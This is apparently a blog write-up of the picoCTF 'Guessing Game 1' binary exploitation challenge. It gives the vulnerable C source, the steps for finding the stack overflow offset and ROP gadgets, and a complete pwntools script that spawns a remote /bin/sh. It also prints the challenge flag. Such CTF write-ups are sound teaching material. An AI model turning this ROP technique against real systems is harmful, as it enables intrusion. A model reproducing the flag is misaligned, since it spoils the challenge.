PicoCTF Writeup – Guessing Game 1

# Information:

CTF Name: PicoCTF

CTF Challenge: Guessing Game 1

Challenge Category: Binary Exploitation

Challenge Points: 250

picoCTF 2020 Mini-Competition

# Used Tools:

# Challenge Description:

I made a simple game to show off my programming skills. See if you can beat it! vuln vuln.c Makefile 

nc jupiter.challenges.picoctf.org 42953

Hints: Tools can be helpful, but you may need to look around for yourself. Remember, in CTF problems, if something seems weird it probably means something…

# Writeup

In this challenge, we are provided with 3 files, a binary called vuln, the associated c file, vuln.c and the Makefile that compiled the vuln.c into vuln. Also we are provided with a netcat address and port in which the challenge is hosted remotely, and where the flag is.

Below I will layout the steps that I took to solve this challenge.

Step 1

I decided to start by verifying the security of this binary file, by doing:

 mregra on Cyber $ checksec vuln 
 [*] '/home/mregra/CTF_Code/PicoCTF/Guessing_Game_1/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
 mregra on Cyber $ 

In the command output above we can see that the NX bit is enabled. This means that the Linux non-executable stack is active. This prevents us from executing any machine code in the stack. So we will have to use ROP chains to get the flag.

Let’s move on to the next step.

Step 2

Afterward, I decided to run the program and see its behavior, this was the result:

It seems that we have to guess a number, let’s analyze the source code to see if we can understand what is happening under the hood.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 100


long increment(long in) {
	return in + 1;
}

long get_random() {
	return rand() % BUFSIZE;
}

int do_stuff() {
	long ans = get_random();
	ans = increment(ans);
	int res = 0;
	
	printf("What number would you like to guess?\n");
	char guess[BUFSIZE];
	fgets(guess, BUFSIZE, stdin);
	
	long g = atol(guess);
	if (!g) {
		printf("That's not a valid number!\n");
	} else {
		if (g == ans) {
			printf("Congrats! You win! Your prize is this print statement!\n\n");
			res = 1;
		} else {
			printf("Nope!\n\n");
		}
	}
	return res;
}

This code snippet is the first part of the vuln.c file. Here we can see how the random number is being generated. After googling around for a bit I was able to discover that the “rand() % num” generates a random in the same way every single time assuming num is the same as well, and as you can see in the snippet above the random number is generated and incremented in line 20 by 1. I decided to create a simple C code to test whether or not the rand() generated the numbers in the same way or not, see video below:

Knowing this helps us a lot in the development of our ROP exploit. We can simply insert 84 (which is the first one, see the image below to check the interaction with the code 2 times) and get access to the next step:

Now that we know how to guess the number easily let’s move on to the next step.

Step 3

Let’s analyze the rest of the vuln.c file, see below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
...

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	fgets(winner, 360, stdin);
	printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv){
	setvbuf(stdout, NULL, _IONBF, 0);
	// Set the gid to the effective gid
	// this prevents /bin/sh from dropping the privileges
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	
	int res;
	
	printf("Welcome to my guessing game!\n\n");
	
	while (1) {
		res = do_stuff();
		if (res) {
			win();
		}
	}
	
	return 0;
}

Ok, so we have the main function here. We can see that if “res” is true than we jump to the function win. We can also easily see that “res = do_stuff();” and do_stuff is the function that checks if the guess value inserted by the user is correct. We know how to bypass this. So let’s analyze the win function closely.

It is possible to see that it is created a char array called winner with length BUFSIZE and we know that BUFSIZE = 100, so the char array winner as a maximum length of 100. However, in the fgets function it is possible to insert 360 chars into the buffer, allowing it to overflow. So we just found our overflow problem. Let’s try to figure out the offset.

To do so we simply have to use gdb-peda, see the video below:

I decided to use 150 as the pattern length because the buffer size is 100, and 150 is big enough to catch the offset. OK, so we now know that the offset is 120. Moving on…

Step 4

We need a way to get a remote access to the remote server. To do so we need to launch a terminal. One way to do that is to call the execve to execute the command “/bin/sh” on the remote server. To be able to do this we need several ROP gadgets. To find them I decided to use the ROPgadget tool, as such:

 mregra on Cyber $ ROPgadget --binary ./vuln --ropchain

This command output was huge, but below you have the relevant parts I used to create the exploit:

So, we now have several ROP gadgets, but you might be wondering, for what?!

The idea is to create a ROP chain that will allow us to insert the string “/bin/sh” and execute it in the remote server.

To do so we need several things, for example, we need a register to hold the data address to which we will add the string “/bin/sh” we need an address to hold the string. And than we need a MOV that moves the contents of the address with the string to the data address that will hold the string. To do this we can use the 1st three gadgets of step 1 plus one extra address with to hold the data.

To get this data address we can use this command:

 mregra on Cyber $ readelf -S vuln

This command returns several Section Headers, one of which is .bss that has the flags WA allowing us to use it to write content on. The address of .bss is: 00000000006bc3a0.

We have everything for the first step:

  • 0x47ff91 mov qword ptr [rsi], rax ; ret
  • 0x410ca3 pop rsi ; ret
  • 0x4163f4 pop rax ; ret
  • 0x6bc3a0 data address

Let’s move on to the next step.

Step 5

Now that we have a data address with the string “/bin/sh” we need a way to execute it. To do so we can use a syscall of the execve function that will receive as argument the string.

Before continuing we need to understand a little bit better how execve and syscall work:

execve

According to this site, execve uses 3 main registers to perform its operations:

%rdi%rsi%rdx
the program to be executedconst char *const argv[]const char *const envp[]

In our case we do not need to insert any arguments, just the filename to be executed, in this case the string “/bin/sh“, so we can pass null (or 0) to the registers %rsi and %rdx.

syscall

The syscall receives an integer as argument. This integer indicates what system function to be executed. In our case we want the execve and by looking here we can see that execve corresponds to the number 59, this is the number we want to pass as argument to the syscall function.

It seems that now we are ready to create our exploit.

Step 6

Below is the script I created in Python 3:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
 
from pwn import *

def convertASCII_to_Hex(value):
      res = ""
      for i in value:
            res += hex(ord(i))[2:]
      return res      

def changeEndian(value):
      length = len(value)
      res = "0x"
      for i in range(length-1, 0, -2):
            res += value[i-1]+ value[i]
      return res      

def generateString(value):
      return int(changeEndian(convertASCII_to_Hex(value)), 16)   

# win the game
def generatePayload():
    offset = b'a' * 120
    pop_rsi = p64(0x410ca3)                         # pop rsi ; ret
    data_address = p64(0x00000000006bc3a0)          # data address to store the /bin/sh
    pop_rax = p64(0x4163f4)                         # pop rax ; ret
    bin_syscall = p64(generateString("/bin/sh"))    
    mov_rsi_rax = p64(0x47ff91)                     # mov qword ptr [rsi], rax ; ret
    pop_rdi = p64(0x400696)                         # pop rdi ; ret
    xor_rax_rax = p64(0x445950)
    pop_rdx = p64(0x44a6b5)
    syscall = p64(0x40137c)
    execv = p64(0x3b)                               # 0x3b = 59 in hexadecimal, it corresponds to the 
                                                    # identifier of the execv method
    payload = offset + pop_rax + bin_syscall + pop_rsi + data_address + mov_rsi_rax + pop_rax + p64(0x3b) + pop_rdi + data_address + pop_rsi + p64(0x0) + pop_rdx + p64(0x0) + syscall

    return payload

def main():
    elf = ELF('vuln')                #context.binary

    remote_or_local = input("Is it local or remote?:\n1 - Local\n2 - Remote\nYour option: ")

    if(int(remote_or_local) == 1):
        p = process(elf.path)
        p.sendline(b'84')
        p.sendline(generatePayload())
        p.interactive()
        
    elif(int(remote_or_local) == 2):
        p = remote('jupiter.challenges.picoctf.org', 42953)
        p.sendline(b'84')
        p.sendline(generatePayload())
        time.sleep(.5)
        p.interactive()

    else:
        print("That is not a correct option, exiting")

if __name__ == "__main__":
    main()

Then, I simply run the script, here is the result:  

And the flag is:

Show flag
picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_d9889a1f6198d933}

The Python 3 script source code can be found here.

Thank you very much for reading!

Cheers,

MRegra


Share this post:

Popular posts

One Reply to “PicoCTF Writeup – Guessing Game 1”

  1. I all the time emailed this weblog post page to all my contacts, as if like to read
    it afterward my links will too.

Leave a Reply

Your email address will not be published. Required fields are marked *